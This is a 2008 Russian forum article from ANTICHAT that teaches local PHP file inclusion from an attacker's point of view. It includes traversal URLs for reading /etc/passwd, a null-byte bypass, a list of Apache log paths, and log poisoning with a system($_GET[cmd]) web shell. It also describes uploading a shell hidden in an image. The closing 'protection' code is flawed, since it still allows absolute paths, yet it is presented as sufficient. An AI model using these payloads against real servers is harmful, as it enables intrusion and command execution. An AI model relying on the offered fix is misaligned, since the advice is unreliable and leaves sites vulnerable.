ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Локальные Php Иньекции
  #1  
Старый 11.04.2008, 23:40
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
Отправить сообщение для maxster с помощью ICQ
По умолчанию Локальные Php Иньекции

0.Введение

В это статье я расскажу о том как пользоваться локальной пхп иньекцией.
Некоторые считают, что это бесполезный тип атаки, однако это не так,
с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет
в процессе взлома, а в не которых случаях даже получить шелл.

1. Поехали!


Для начала давайте рассмотрим кусок уязвимого кода:

Код:
<?php 
$page = $_GET[page]; 
include($page); 
?>
Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую
идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети.
Предположим, что есть веб сервер с папкой include, в который лежит
сраница main.php, мы можем попасть на нее так:
Код:
http://webserver.ru/inc/main.php
А если уязвимый код, описаный в первой части присутвует в index.php, который лежит
в корневой директории сервера, то можно сделать так:
Код:
http://webserver.ru/index.php?page=test/main.php
Index.php может лежать в другом месте, например в папке /test/krevedko/index.php,
то подгрузить main.php можно так:
Код:
http://webserver.ru/test/krevedko/index.php?page=../main.php
../ - предыдущая папка
./ - папка в которой находиться скрипт

2. Глазами хакера

Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это
в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями,
для это надо сделать нечто подобное:

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Если пароли не затенены (находяться в файле etc/shadow), то мы увидим
приблизительно такое:
Код:
user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh
что означает
Код:
username: passwd:UID:GID:full_name:directory:shell
Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в
etc/shadow, который доступен только root, так что врятли вы его прочтете.
Здесь не много мест, куда следует сходить

Код:
/etc/passwd 
/etc/shadow 
/etc/security/passwd 
/etc/security/user

3. Не все так гладко на нашем пути


Не много подумав, можно себе представить такой код

Код:
PHP Code: 
<?php 
$page = $_GET["page"]; 
include("$page.php"); 
?>
В конце добавляеться расширениее .php, так что если вызвать

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Получим не файл passwd, а файль passwd.php, которого само сабой нет,
так что здесь нам в помощь идет NULL byte или ядовитый ноль, после
такого байта сервер игнорирует, то что идет дальше, так что код выглядит так:
Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd%00
%00 - NULL byte

4. А как же веб шелл ?

А вот так, мы попробуем записать php код в логи http демона и заинклудить их,
вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения:

Код:
../apache/logs/error.log 
../apache/logs/access.log 
../etc/httpd/logs/acces_log 
../etc/httpd/logs/acces.log 
../etc/httpd/logs/error_log 
../etc/httpd/logs/error.log 
../var/www/logs/access_log 
../var/www/logs/access.log 
../usr/local/apache/logs/access_log 
../usr/local/apache/logs/access.log 
../var/log/apache/access_log 
../var/log/apache2/access_log 
../var/log/apache/access.log 
../var/log/apache2/access.log 
../var/log/access_log 
../var/log/access.log 
../var/www/logs/error_log 
../var/www/logs/error.log 
../usr/local/apache/logs/error_log 
../usr/local/apache/logs/error.log 
../var/log/apache/error_log 
../var/log/apache2/error_log 
../var/log/apache/error.log 
../var/log/apache2/error.log 
../var/log/error_log 
../var/log/error.log
эти логи ведут запись запросов о не найденных файлах, то есть
что бы этим воспользоваться достаточно обратиться скажем к такому
файлу http://webserver/<?system($_GET[cmd]);?> и наш php код
(<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью
локальной php инькции мы подгрузим лог и выполним команду, но
ваш браузер может переделать код в такой вид:
Код:
%3C?%20system(\$_GET[cmd])%20?>
так что для этого можно воспользоваться программой которая шлет запросы,
или написать скрипт, который будет все делать сам.

Так же шел можно залить с помощью картинки
Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее,
результат работы скрипта в картинке должен быть выведен на экран.

5. Пару слов о защите.

Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать
этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить
вот такую конструкцию после бажной части:

Код:
if(!isset($_GET["page"]))exit;
$page = str_replace(".", "", str_replace("\\", "", $_GET["page"]));
if(!file_exists($page)) exit;
include($page);
И все будет хорошо, можно спокойно идти спать и не бояться инклуда

6. Заключение

Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок,
карайте тех кто их делает, всем удачи.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Local include && PHP baz1k Чужие Статьи 0 10.01.2008 04:50
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ